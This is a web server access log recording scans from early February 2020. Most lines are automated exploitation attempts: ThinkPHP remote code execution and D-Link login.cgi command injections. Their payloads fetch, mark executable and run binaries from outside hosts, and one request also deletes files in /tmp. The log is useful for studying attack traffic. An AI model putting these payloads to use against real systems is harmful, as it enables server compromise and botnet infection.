113.22.166.182 - - [05/Feb/2020:00:20:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.211.104.199 - - [05/Feb/2020:00:26:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.117.15.213 - - [05/Feb/2020:00:28:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.218.0.195 - - [05/Feb/2020:00:28:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [05/Feb/2020:00:28:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [05/Feb/2020:00:28:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [05/Feb/2020:00:28:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [05/Feb/2020:00:29:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
78.189.103.63 - - [05/Feb/2020:00:30:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
113.167.209.157 - - [05/Feb/2020:00:32:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.46.25.229 - - [05/Feb/2020:00:33:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.185.69.181 - - [05/Feb/2020:00:41:24 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-zavisimost.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
46.185.69.181 - - [05/Feb/2020:00:41:24 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-zavisimost.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
46.185.69.181 - - [05/Feb/2020:00:41:25 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-zavisimost.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
201.158.24.73 - - [05/Feb/2020:00:44:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
109.117.198.174 - - [05/Feb/2020:00:45:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
178.88.83.87 - - [05/Feb/2020:00:48:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
194.153.113.100 - - [05/Feb/2020:00:50:46 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
194.153.113.100 - - [05/Feb/2020:00:50:46 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
194.153.113.100 - - [05/Feb/2020:00:50:46 +0100] "GET /scripte/all_scripts.js HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
220.187.195.147 - - [05/Feb/2020:00:53:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.46.25.229 - - [05/Feb/2020:00:55:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.50.26.198 - - [05/Feb/2020:00:58:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.58.53 - - [05/Feb/2020:01:04:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.55.141.210 - - [05/Feb/2020:01:07:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.37.57 - - [05/Feb/2020:01:09:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.135.56 - - [05/Feb/2020:01:09:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.55.201.254 - - [05/Feb/2020:01:10:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.52.43.85 - - [05/Feb/2020:01:11:03 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
1.52.237.88 - - [05/Feb/2020:01:12:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.130.149.65 - - [05/Feb/2020:01:16:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.218.173.62 - - [05/Feb/2020:01:17:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
203.54.37.77 - - [05/Feb/2020:01:20:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.37.57 - - [05/Feb/2020:01:20:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.45.1.105 - - [05/Feb/2020:01:21:24 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
58.48.131.209 - - [05/Feb/2020:01:21:24 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
116.252.0.126 - - [05/Feb/2020:01:21:24 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
58.48.128.215 - - [05/Feb/2020:01:21:26 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
36.248.88.162 - - [05/Feb/2020:01:21:28 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.94.212.202 - - [05/Feb/2020:01:21:28 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
36.248.89.177 - - [05/Feb/2020:01:21:29 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
223.166.74.103 - - [05/Feb/2020:01:21:31 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
113.128.105.219 - - [05/Feb/2020:01:21:31 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
220.250.11.142 - - [05/Feb/2020:01:21:33 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
61.69.160.155 - - [05/Feb/2020:01:23:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
117.1.90.218 - - [05/Feb/2020:01:23:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.179.123 - - [05/Feb/2020:01:28:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.189.231.81 - - [05/Feb/2020:01:28:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.18.247 - - [05/Feb/2020:01:31:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.12.124 - - [05/Feb/2020:01:32:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.105.27.14 - - [05/Feb/2020:01:34:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [05/Feb/2020:01:34:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [05/Feb/2020:01:34:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [05/Feb/2020:01:34:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [05/Feb/2020:01:35:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
1.54.54.117 - - [05/Feb/2020:01:37:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.20.29.126 - - [05/Feb/2020:01:38:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.64.170.17 - - [05/Feb/2020:01:38:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
179.106.96.14 - - [05/Feb/2020:01:40:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.188.210.101 - - [05/Feb/2020:01:42:26 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
115.216.225.40 - - [05/Feb/2020:01:42:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.83.139.21 - - [05/Feb/2020:01:43:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
123.191.148.60 - - [05/Feb/2020:01:43:10 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
110.177.76.140 - - [05/Feb/2020:01:43:11 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
222.82.48.118 - - [05/Feb/2020:01:43:11 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
223.166.75.36 - - [05/Feb/2020:01:43:14 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
221.213.75.209 - - [05/Feb/2020:01:43:14 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
124.90.55.239 - - [05/Feb/2020:01:43:14 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
106.45.0.170 - - [05/Feb/2020:01:43:15 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
222.79.49.225 - - [05/Feb/2020:01:43:15 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
110.80.155.149 - - [05/Feb/2020:01:43:16 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
1.54.12.141 - - [05/Feb/2020:01:44:11 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
5.188.210.101 - - [05/Feb/2020:01:44:48 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
5.188.210.101 - - [05/Feb/2020:01:45:12 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
209.159.154.190 - - [05/Feb/2020:01:47:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://94.177.216.74/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
113.22.88.64 - - [05/Feb/2020:01:48:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.115.227.179 - - [05/Feb/2020:01:48:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.200.70.240 - - [05/Feb/2020:01:50:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.118.100.165 - - [05/Feb/2020:01:51:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
180.124.15.157 - - [05/Feb/2020:01:51:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.155.136 - - [05/Feb/2020:01:51:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.247.162 - - [05/Feb/2020:01:56:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.8.231.92 - - [05/Feb/2020:01:57:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.49.231.120 - - [05/Feb/2020:01:58:48 +0100] "GET /0000000000000.cfg HTTP/1.1" 404 322 "-" "-"
37.49.231.120 - - [05/Feb/2020:01:58:52 +0100] "GET /0000000000000.cfg HTTP/1.1" 404 322 "-" "-"
37.49.231.120 - - [05/Feb/2020:02:00:21 +0100] "GET /0000000000000.cfg HTTP/1.1" 404 322 "-" "-"
37.49.231.120 - - [05/Feb/2020:02:00:38 +0100] "GET /0000000000000.cfg HTTP/1.1" 404 322 "-" "-"
37.49.231.120 - - [05/Feb/2020:02:00:58 +0100] "GET /0000000000000.cfg HTTP/1.1" 404 322 "-" "-"
2.133.85.143 - - [05/Feb/2020:02:02:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
213.194.131.102 - - [05/Feb/2020:02:02:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.203.196.225 - - [05/Feb/2020:02:03:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.203.196.225 - - [05/Feb/2020:02:03:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.236.245.240 - - [05/Feb/2020:02:05:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 314 "-" "Unstable/2.0"
117.1.93.82 - - [05/Feb/2020:02:07:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.249.64.27 - - [05/Feb/2020:02:08:01 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.27 - - [05/Feb/2020:02:08:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
117.20.29.126 - - [05/Feb/2020:02:11:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.189.90.244 - - [05/Feb/2020:02:12:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
157.55.39.44 - - [05/Feb/2020:02:13:02 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
74.101.161.115 - - [05/Feb/2020:02:13:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
117.1.93.82 - - [05/Feb/2020:02:13:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
23.31.55.235 - - [05/Feb/2020:02:14:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
